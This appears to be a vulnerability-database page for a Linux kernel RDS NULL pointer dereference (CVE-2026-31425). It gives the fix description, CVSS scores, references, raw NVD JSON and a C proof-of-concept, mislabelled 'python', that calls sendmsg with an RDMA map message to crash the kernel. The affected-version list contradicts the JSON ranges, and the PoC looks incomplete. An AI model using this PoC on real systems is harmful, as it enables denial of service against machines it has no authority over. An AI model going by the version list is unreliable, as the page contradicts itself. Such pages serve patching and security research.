CVE-2026-31425

Description

In the Linux kernel, the following vulnerability has been resolved: rds: ib: reject FRMR registration before IB connection is established rds_ib_get_mr() extracts the rds_ib_connection from conn->c_transport_data and passes it to rds_ib_reg_frmr() for FRWR memory registration. On a fresh outgoing connection, ic is allocated in rds_ib_conn_alloc() with i_cm_id = NULL because the connection worker has not yet called rds_ib_conn_path_connect() to create the rdma_cm_id. When sendmsg() with RDS_CMSG_RDMA_MAP is called on such a connection, the sendmsg path parses the control message before any connection establishment, allowing rds_ib_post_reg_frmr() to dereference ic->i_cm_id->qp and crash the kernel. The existing guard in rds_ib_reg_frmr() only checks for !ic (added in commit 9e630bcb7701), which does not catch this case since ic is allocated early and is always non-NULL once the connection object exists. KASAN: null-ptr-deref in range [0x0000000000000010-0x0000000000000017] RIP: 0010:rds_ib_post_reg_frmr+0x50e/0x920 Call Trace: rds_ib_post_reg_frmr (net/rds/ib_frmr.c:167) rds_ib_map_frmr (net/rds/ib_frmr.c:252) rds_ib_reg_frmr (net/rds/ib_frmr.c:430) rds_ib_get_mr (net/rds/ib_rdma.c:615) __rds_rdma_map (net/rds/rdma.c:295) rds_cmsg_rdma_map (net/rds/rdma.c:860) rds_sendmsg (net/rds/send.c:1363) ____sys_sendmsg do_syscall_64 Add a check in rds_ib_get_mr() that verifies ic, i_cm_id, and qp are all non-NULL before proceeding with FRMR registration, mirroring the guard already present in rds_ib_post_inv(). Return -ENODEV when the connection is not ready, which the existing error handling in rds_cmsg_send() converts to -EAGAIN for userspace retry and triggers rds_conn_connect_if_down() to start the connection worker.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel < 6.12-rc1

Linux Kernel < 6.11.6

Linux Kernel < 6.10.13

Linux Kernel < 6.6.58

Linux Kernel < 6.1.115

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-31425: Linux Kernel RDS NULL Pointer Dereference
 * This code attempts to trigger the bug by calling sendmsg with RDS_CMSG_RDMA_MAP
 * on a socket where the underlying IB connection is not yet established.
 *
 * Compile: gcc -o poc_cve2026_31425 poc_cve2026_31425.c
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <linux/rds.h>

int main() {
    int fd;
    struct sockaddr_in addr;
    struct msghdr msg;
    struct iovec iov;
    char buf[1] = {0};
    struct rds_rdma_args rdma_args;
    struct cmsghdr *cmsg;

    // Create RDS socket
    fd = socket(AF_RDS, SOCK_SEQPACKET, 0);
    if (fd < 0) {
        perror("socket");
        return 1;
    }

    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    // Target a remote host. The vulnerability relies on the connection state being "fresh".
    inet_pton(AF_INET, "192.168.1.100", &addr.sin_addr);

    // Prepare message control data for RDMA map
    memset(&msg, 0, sizeof(msg));
    iov.iov_base = buf;
    iov.iov_len = 1;
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    msg.msg_name = &addr;
    msg.msg_namelen = sizeof(addr);

    // Setup ancillary data for RDS_CMSG_RDMA_MAP
    char cmsgbuf[CMSG_SPACE(sizeof(struct rds_rdma_args))];
    msg.msg_control = cmsgbuf;
    msg.msg_controllen = sizeof(cmsgbuf);

    cmsg = CMSG_FIRSTHDR(&msg);
    cmsg->cmsg_level = SOL_RDS;
    cmsg->cmsg_type = RDS_CMSG_RDMA_MAP;
    
    // Populate dummy args to trigger the path
    memset(&rdma_args, 0, sizeof(rdma_args));
    rdma_args.remote_addr = 0x1000;
    memcpy(CMSG_DATA(cmsg), &rdma_args, sizeof(rdma_args));

    printf("Attempting to trigger vulnerability by sending RDMA map on fresh connection...\n");
    // This sendmsg call attempts to map memory before connection is ready
    sendmsg(fd, &msg, 0);

    printf("If kernel didn't crash, the bug might be patched or conditions not met.\n");
    close(fd);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31425
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31425
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31425/
[4] VulDB https://vuldb.com/cve/CVE-2026-31425
[5] https://git.kernel.org/stable/c/23e07c340c445f0ebff7757ba15434cb447eb662
[6] https://git.kernel.org/stable/c/450ec93c0f172374acbf236f1f5f02d53650aa2d
[7] https://git.kernel.org/stable/c/47de5b73db3b88f45c107393f26aeba26e9e8fae
[8] https://git.kernel.org/stable/c/6b0a8de67ac0c74e1a7df92b73c862cb36780dfc
[9] https://git.kernel.org/stable/c/82e4a3b56b23b844802056c9e75a39d24169b0a4
[10] https://git.kernel.org/stable/c/a54ecccfae62c5c85259ae5ea5d9c20009519049
[11] https://git.kernel.org/stable/c/a5bfd14c9a299e6db4add4440430ee5e010b03ad
[12] https://git.kernel.org/stable/c/c506456ebf84c50ed9327473d4e9bd905def212b

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31425", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-13T14:16:12.420", "lastModified": "2026-05-20T17:56:52.097", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nrds: ib: reject FRMR registration before IB connection is established\n\nrds_ib_get_mr() extracts the rds_ib_connection from conn->c_transport_data\nand passes it to rds_ib_reg_frmr() for FRWR memory registration. On a\nfresh outgoing connection, ic is allocated in rds_ib_conn_alloc() with\ni_cm_id = NULL because the connection worker has not yet called\nrds_ib_conn_path_connect() to create the rdma_cm_id. When sendmsg() with\nRDS_CMSG_RDMA_MAP is called on such a connection, the sendmsg path parses\nthe control message before any connection establishment, allowing\nrds_ib_post_reg_frmr() to dereference ic->i_cm_id->qp and crash the\nkernel.\n\nThe existing guard in rds_ib_reg_frmr() only checks for !ic (added in\ncommit 9e630bcb7701), which does not catch this case since ic is allocated\nearly and is always non-NULL once the connection object exists.\n\n KASAN: null-ptr-deref in range [0x0000000000000010-0x0000000000000017]\n RIP: 0010:rds_ib_post_reg_frmr+0x50e/0x920\n Call Trace:\n rds_ib_post_reg_frmr (net/rds/ib_frmr.c:167)\n rds_ib_map_frmr (net/rds/ib_frmr.c:252)\n rds_ib_reg_frmr (net/rds/ib_frmr.c:430)\n rds_ib_get_mr (net/rds/ib_rdma.c:615)\n __rds_rdma_map (net/rds/rdma.c:295)\n rds_cmsg_rdma_map (net/rds/rdma.c:860)\n rds_sendmsg (net/rds/send.c:1363)\n ____sys_sendmsg\n do_syscall_64\n\nAdd a check in rds_ib_get_mr() that verifies ic, i_cm_id, and qp are all\nnon-NULL before proceeding with FRMR registration, mirroring the guard\nalready present in rds_ib_post_inv(). Return -ENODEV when the connection\nis not ready, which the existing error handling in rds_cmsg_send() converts\nto -EAGAIN for userspace retry and triggers rds_conn_connect_if_down() to\nstart the connection worker."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.6", "versionEndExcluding": "5.10.253", "matchCriteriaId": "02FB4629-3CFA-4F2B-8699-141F5385D64A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.168", "matchCriteriaId": "E2DDDCA1-6DAB-4018-B920-8F045DDD8D3B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.134", "matchCriteriaId": "F56F925B-BAF8-4F4B-B62F-1496AF19A307"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.81", "matchCriteriaId": "6EF80433-B33B-43C5-8E64-0FA7B8DCE1BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*: ... 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